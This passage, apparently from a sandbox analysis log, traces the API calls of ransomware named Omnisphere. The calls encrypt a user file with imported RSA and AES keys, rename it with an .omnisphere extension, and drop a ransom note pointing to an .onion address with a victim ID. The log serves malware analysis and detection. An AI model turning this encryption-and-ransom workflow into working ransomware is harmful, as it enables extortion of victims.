dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0081.481] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=197) returned 1 [0081.481] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] GetTickCount () returned 0x115493a [0081.482] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1668708) returned 1 [0081.483] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x16395e8) returned 1 [0081.483] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0081.483] CryptDestroyKey (hKey=0x16395e8) returned 1 [0081.483] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0081.483] CreateFileMappingW (hFile=0x3c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5, lpName=0x0) returned 0x3cc [0081.484] MapViewOfFile (hFileMappingObject=0x3cc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5) returned 0x3430000 [0081.484] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x16688a0) returned 1 [0081.484] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x1639628) returned 1 [0081.485] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.485] CryptDestroyKey (hKey=0x1639628) returned 1 [0081.485] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0081.485] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0xc5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0081.485] WriteFile (in: hFile=0x3c8, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0081.487] GetProcessHeap () returned 0x1600000 [0081.487] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x322) returned 0x164fda0 [0081.487] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere")) returned 1 [0081.488] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere.id" [0081.488] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0081.489] WriteFile (in: hFile=0x3d0, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0081.490] CloseHandle (hObject=0x3d0) returned 1 [0081.490] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0081.491] CloseHandle (hObject=0x3cc) returned 1 [0081.491] SetEndOfFile (hFile=0x3c8) returned 1 [0081.491] FlushFileBuffers (hFile=0x3c8) returned 1 [0081.494] CloseHandle (hObject=0x3c8) returned 1 [0081.494] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\settings.sol" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net") returned 1 [0081.495] GetProcessHeap () returned 0x1600000 [0081.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16500d0 [0081.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.495] GetProcessHeap () returned 0x1600000 [0081.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f5a8 [0081.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f5a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0081.495] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0081.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.495] GetProcessHeap () returned 0x1600000 [0081.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f6b0 [0081.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f6b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0081.495] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0081.495] GetProcessHeap () returned 0x1600000 [0081.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x128) returned 0x16505f0 [0081.495] PathCombineW (in: pszDest=0x16505f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\!DECRYPT_OMNISPHERE.txt" [0081.495] GetProcessHeap () returned 0x1600000 [0081.495] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1660770 [0081.495] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0081.497] WriteFile (in: hFile=0x3c8, lpBuffer=0x1660770*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x1660770*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0081.498] CloseHandle (hObject=0x3c8) returned 1 [0081.499] GetProcessHeap () returned 0x1600000 [0081.499] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16500d0 | out: hHeap=0x1600000) returned 1 [0081.499] GetProcessHeap () returned 0x1600000 [0081.499] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11e) returned 0x164ba00 [0081.499] PathCombineW (in: pszDest=0x164ba00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\unique_decrypt.key" [0081.499] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0081.499] WriteFile (in: hFile=0x3c8, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0081.500] CloseHandle (hObject=0x3c8) returned 1 [0081.501] GetProcessHeap () returned 0x1600000 [0081.501] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164ba00 | out: hHeap=0x1600000) returned 1 [0081.501] GetProcessHeap () returned 0x1600000 [0081.501] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164a5f8 | out: hHeap=0x1600000) returned 1 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c33729, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0xa6, cFileName="settings.sol", cAlternateFileName="")) returned 0 [0081.501] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0081.501] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\#aa.online-metrix.net\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x11acef87, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11acef87, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe695a8e5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x11acef87, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11acef87, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="..", cAlternateFileName="")) returned 1 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11acef87, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11acef87, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11acef87, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69631a4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c26071, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="settings.sol.omnisphere", cAlternateFileName="SETTIN~1.OMN")) returned 1 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11aa8ffb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11aa8ffb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="settings.sol.omnisphere.id", cAlternateFileName="SETTIN~1.ID")) returned 1 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11acef87, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11acef87, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11acef87, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0081.501] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11acef87, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11acef87, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11acef87, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0081.502] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0081.502] GetProcessHeap () returned 0x1600000 [0081.502] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0081.502] GetProcessHeap () returned 0x1600000 [0081.502] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0081.502] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe53f753e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x1a57fc00, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x11a82bcd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x736, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="settings.sol.omnisphere", cAlternateFileName="SETTIN~1.OMN")) returned 1 [0081.502] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a82bcd, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11a82bcd, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a82bcd, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="settings.sol.omnisphere.id", cAlternateFileName="SETTIN~1.ID")) returned 1 [0081.502] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11aa8ffb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11aa8ffb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0081.502] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11aa8ffb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11aa8ffb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11aa8ffb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x73005c, dwReserved1=0x700075, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0081.502] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0081.502] GetProcessHeap () returned 0x1600000 [0081.502] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0081.502] GetProcessHeap () returned 0x1600000 [0081.502] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16240d8 | out: hHeap=0x1600000) returned 1 [0081.502] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f4df4, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x146557ae, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x146557ae, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="sys", cAlternateFileName="")) returned 0 [0081.502] FindClose (in: hFindFile=0x1639768 | out: hFindFile=0x1639768) returned 1 [0081.502] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bdd8 | out: hHeap=0x1600000) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0081.503] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53f271c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f4df4, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f4df4, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a005c, dwReserved1=0x0, cFileName="flashplayer", cAlternateFileName="FLASHP~1")) returned 0 [0081.503] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1631460 | out: hHeap=0x1600000) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630d30 | out: hHeap=0x1600000) returned 1 [0081.503] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe53eec6a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe53f271c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe53f271c, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="support", cAlternateFileName="")) returned 0 [0081.503] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656d60 | out: hHeap=0x1600000) returned 1 [0081.503] GetProcessHeap () returned 0x1600000 [0081.503] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16566d0 | out: hHeap=0x1600000) returned 1 [0081.503] FindNextFileW (in: 